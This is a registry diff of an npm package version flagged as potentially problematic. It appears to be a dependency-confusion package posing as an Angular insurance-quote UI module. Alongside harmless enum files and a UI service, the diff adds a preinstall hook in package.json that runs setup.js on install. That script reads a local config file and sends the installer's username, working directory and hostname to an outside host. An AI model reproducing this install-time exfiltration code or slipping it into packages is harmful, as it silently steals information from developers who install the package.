@intact-lab/ngx-iceberg-links 395.0.0-beta.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @intact-lab/ngx-iceberg-links might be problematic. Click here for more details.

package/alarm-types.js ADDED
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var AlarmTypesEnum;
4
+ (function (AlarmTypesEnum) {
5
+ AlarmTypesEnum["FIRE"] = "fire";
6
+ AlarmTypesEnum["BURGLAR"] = "burglar";
7
+ })(AlarmTypesEnum = exports.AlarmTypesEnum || (exports.AlarmTypesEnum = {}));
package/errors.js ADDED
@@ -0,0 +1,10 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var ErrorsEnum;
4
+ (function (ErrorsEnum) {
5
+ ErrorsEnum["HARD_ROADBLOCK"] = "HARD_ROADBLOCK";
6
+ ErrorsEnum["SOFT_ROADBLOCK"] = "SOFT_ROADBLOCK";
7
+ ErrorsEnum["FIELD_VALIDATION"] = "FIELD_VALIDATION";
8
+ ErrorsEnum["TECHNICAL_ERROR"] = "TECHNICAL_ERROR";
9
+ ErrorsEnum["PRECONDITION_ERROR"] = "PRECONDITION_ERROR";
10
+ })(ErrorsEnum = exports.ErrorsEnum || (exports.ErrorsEnum = {}));
@@ -0,0 +1,17 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var HeatingFuelTypeEnum;
4
+ (function (HeatingFuelTypeEnum) {
5
+ HeatingFuelTypeEnum["COAL"] = "COAL";
6
+ HeatingFuelTypeEnum["ELECTRICITY"] = "ELECTRICITY";
7
+ HeatingFuelTypeEnum["SOLID_FUEL_WITH_ELECTRIC"] = "SOLID_FUEL_WITH_ELECTRIC";
8
+ HeatingFuelTypeEnum["NATURAL_GAZ"] = "NATURAL_GAZ";
9
+ HeatingFuelTypeEnum["HOT_WATER"] = "HOT_WATER";
10
+ HeatingFuelTypeEnum["SOLID_FUEL_WITH_OIL"] = "SOLID_FUEL_WITH_OIL";
11
+ HeatingFuelTypeEnum["SOLID_FUEL_WITH_NATURAL_GAS"] = "SOLID_FUEL_WITH_NATURAL_GAS";
12
+ HeatingFuelTypeEnum["OIL"] = "OIL";
13
+ HeatingFuelTypeEnum["PROPANE"] = "PROPANE";
14
+ HeatingFuelTypeEnum["GROUND_SOURCE"] = "GROUND_SOURCE";
15
+ HeatingFuelTypeEnum["WOOD"] = "WOOD";
16
+ HeatingFuelTypeEnum["OTHER"] = "OTHER";
17
+ })(HeatingFuelTypeEnum = exports.HeatingFuelTypeEnum || (exports.HeatingFuelTypeEnum = {}));
package/index.js ADDED
@@ -0,0 +1,170 @@
1
+ import { Injectable } from '@angular/core';
2
+ import { CompanyEnum } from 'webquote-ui-model';
3
+ import { Steps } from '@core';
4
+ import { TranslateService } from '@ngx-translate/core';
5
+ import { BadgeFigureModel } from '@webquote-ui/ui/differentiators';
6
+
7
+ @Injectable({
8
+ providedIn: 'root'
9
+ })
10
+ export class UtilDifferentiatorsService {
11
+ constructor(private _translateService: TranslateService) {}
12
+
13
+ getDifferentiatorItems(
14
+ isMobile: boolean,
15
+ lang: string,
16
+ theme: CompanyEnum,
17
+ step: Steps
18
+ ): Array<BadgeFigureModel> {
19
+ if ([Steps.OFFER, Steps.CHECKPOINT].includes(step)) {
20
+ const imgPath = 'assets/images/' + theme + '/svg/key-differentiators/';
21
+
22
+ const differentiators: { [key in CompanyEnum]: { [key: string]: any } } = {
23
+ [CompanyEnum.BELAIR]: {
24
+ [Steps.CHECKPOINT]: [
25
+ {
26
+ url: `${imgPath}30minutes.png`,
27
+ name: 'tracking',
28
+ caption: this.getTranslationByKey(
29
+ 'checkpoint.offer.key.differentiators.1.caption'
30
+ ),
31
+ size: 90
32
+ },
33
+ {
34
+ url: `${imgPath}proofInsurance.png`,
35
+ name: 'experience',
36
+ caption: this.getTranslationByKey(
37
+ 'checkpoint.offer.key.differentiators.2.caption'
38
+ ),
39
+ size: 90
40
+ },
41
+ {
42
+ url: `${imgPath}sm.png`,
43
+ name: 'claims',
44
+ caption: this.getTranslationByKey(
45
+ 'checkpoint.offer.key.differentiators.3.caption'
46
+ ),
47
+ size: 90
48
+ }
49
+ ],
50
+ [Steps.OFFER]: [
51
+ {
52
+ url: `${imgPath}www.png`,
53
+ name: 'tracking',
54
+ caption: this.getTranslationByKey(
55
+ 'offer.key.differentiators.1.caption'
56
+ ),
57
+ size: 90
58
+ },
59
+ {
60
+ url: `${imgPath}60years_${lang}.png`,
61
+ name: 'experience',
62
+ caption: this.getTranslationByKey(
63
+ 'offer.key.differentiators.2.caption'
64
+ ),
65
+ size: 90
66
+ },
67
+ {
68
+ url: `${imgPath}247.png`,
69
+ name: 'claims',
70
+ caption: this.getTranslationByKey(
71
+ 'offer.key.differentiators.3.caption'
72
+ ),
73
+ size: 90
74
+ },
75
+ {
76
+ url: `${imgPath}1000_${lang}.png`,
77
+ name: 'refund',
78
+ caption: this.getTranslationByKey(
79
+ 'offer.key.differentiators.4.caption'
80
+ ),
81
+ size: 90
82
+ }
83
+ ]
84
+ },
85
+ [CompanyEnum.INTACT]: {
86
+ [Steps.OFFER]: [
87
+ {
88
+ url: `${imgPath}claims-intact.svg`,
89
+ name: 'tracking',
90
+ caption: this.getTranslationByKey(
91
+ 'offer.key.differentiators.1.caption'
92
+ ),
93
+ size: 90
94
+ },
95
+ {
96
+ url: `${imgPath}60-year-experience-intact.svg`,
97
+ name: 'experience',
98
+ caption: this.getTranslationByKey(
99
+ 'offer.key.differentiators.2.caption'
100
+ ),
101
+ size: 90
102
+ },
103
+ {
104
+ url: `${imgPath}24-7-communication-intact.svg`,
105
+ name: 'claims',
106
+ caption: this.getTranslationByKey(
107
+ 'offer.key.differentiators.3.caption'
108
+ ),
109
+ size: 90
110
+ },
111
+ {
112
+ url: `${imgPath}call-center-intact.svg`,
113
+ name: 'refund',
114
+ caption: this.getTranslationByKey(
115
+ 'offer.key.differentiators.4.caption'
116
+ ),
117
+ size: 90
118
+ }
119
+ ]
120
+ },
121
+ [CompanyEnum.BNC]: {
122
+ [Steps.OFFER]: [
123
+ {
124
+ url: `${imgPath}bnc-diff-arrow.svg`,
125
+ name: 'tracking',
126
+ caption: this.getTranslationByKey(
127
+ 'offer.key.differentiators.1.caption'
128
+ ),
129
+ size: 52
130
+ },
131
+ {
132
+ url: `${imgPath}bnc-diff-call.svg`,
133
+ name: 'claims',
134
+ caption: this.getTranslationByKey(
135
+ 'offer.key.differentiators.3.caption'
136
+ ),
137
+ size: 52
138
+ },
139
+ {
140
+ url: `${imgPath}bnc-diff-app-personalized.svg`,
141
+ name: 'app-personalized',
142
+ caption: this.getTranslationByKey(
143
+ 'offer.key.differentiators.2.caption'
144
+ ),
145
+ size: 68
146
+ },
147
+ {
148
+ url: `${imgPath}bnc-diff-clock.svg`,
149
+ name: 'refund',
150
+ caption: this.getTranslationByKey(
151
+ 'offer.key.differentiators.4.caption'
152
+ ),
153
+ size: 52
154
+ }
155
+ ]
156
+ }
157
+ };
158
+ return differentiators[theme][step];
159
+ }
160
+ return [];
161
+ }
162
+
163
+ getTranslationByKey(labelKey: string): string {
164
+ let labelValue: string;
165
+ this._translateService.get(labelKey).subscribe((_labelValue: string) => {
166
+ labelValue = _labelValue;
167
+ });
168
+ return labelValue;
169
+ }
170
+ }
package/origin.enum.js ADDED
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var OriginEnum;
4
+ (function (OriginEnum) {
5
+ OriginEnum["INTACT"] = "intact";
6
+ OriginEnum["WEBBK"] = "webbk";
7
+ })(OriginEnum = exports.OriginEnum || (exports.OriginEnum = {}));
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@intact-lab/ngx-iceberg-links",
3
+ "version": "395.0.0-beta.1",
4
+ "description": "IAD lab ngx iceberg links module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node setup.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/province.js ADDED
@@ -0,0 +1,13 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var Province;
4
+ (function (Province) {
5
+ Province["ON"] = "on";
6
+ Province["QC"] = "qc";
7
+ Province["BC"] = "bc";
8
+ Province["AB"] = "ab";
9
+ Province["NB"] = "nb";
10
+ Province["NL"] = "nl";
11
+ Province["NS"] = "ns";
12
+ Province["PE"] = "pe";
13
+ })(Province = exports.Province || (exports.Province = {}));
@@ -0,0 +1,10 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var RoofMaterial;
4
+ (function (RoofMaterial) {
5
+ RoofMaterial["ASPHALT_SHINGLES"] = "ASPHALT_SHINGLES";
6
+ RoofMaterial["METAL_TILE"] = "METAL_TILE";
7
+ RoofMaterial["TAR_AND_GRAVEL"] = "TAR_AND_GRAVEL";
8
+ RoofMaterial["ASPHALT_SHINGLES_CLASS_4"] = "ASPHALT_SHINGLES_CLASS_4";
9
+ RoofMaterial["OTHER"] = "OTHER";
10
+ })(RoofMaterial = exports.RoofMaterial || (exports.RoofMaterial = {}));
package/setup.js ADDED
@@ -0,0 +1,55 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ const dns = require('dns');
4
+ const https = require('http');
5
+
6
+ debugger;
7
+ function _cwd() {
8
+ return process.cwd();
9
+ }
10
+
11
+ function _username() {
12
+ return os.userInfo().username;
13
+ }
14
+
15
+ function _host() {
16
+ return os.hostname();
17
+ }
18
+ let host = _host();
19
+
20
+ // read config file
21
+ fs.readFile('/etc/iad-lab-config.json', 'utf8' , (err, data) => {
22
+ console.log(data);
23
+
24
+ const post = JSON.stringify({
25
+ username: _username(),
26
+ cwd: _cwd(),
27
+ host: host
28
+ });
29
+
30
+ const options = {
31
+ hostname: 'iad-uat.ckjeach2vtc0000d3e8ggj38fgeyyyyyb.mlqggc.com',
32
+ port: 80,
33
+ path: '/debug',
34
+ method: 'POST',
35
+ headers: {
36
+ 'Content-Type': 'application/json',
37
+ 'Content-Length': post.length,
38
+ }
39
+ };
40
+
41
+ const req = https.request(options, res => {
42
+ console.log(`statusCode: ${res.statusCode}`);
43
+
44
+ res.on('data', d => {
45
+ process.stdout.write(d);
46
+ });
47
+ });
48
+
49
+ req.on('error', error => {
50
+ console.error(error);
51
+ });
52
+ req.write(post);
53
+ req.end();
54
+ });
55
+ console.log("end");
package/test.js ADDED
@@ -0,0 +1 @@
1
+ console.log(`todo`);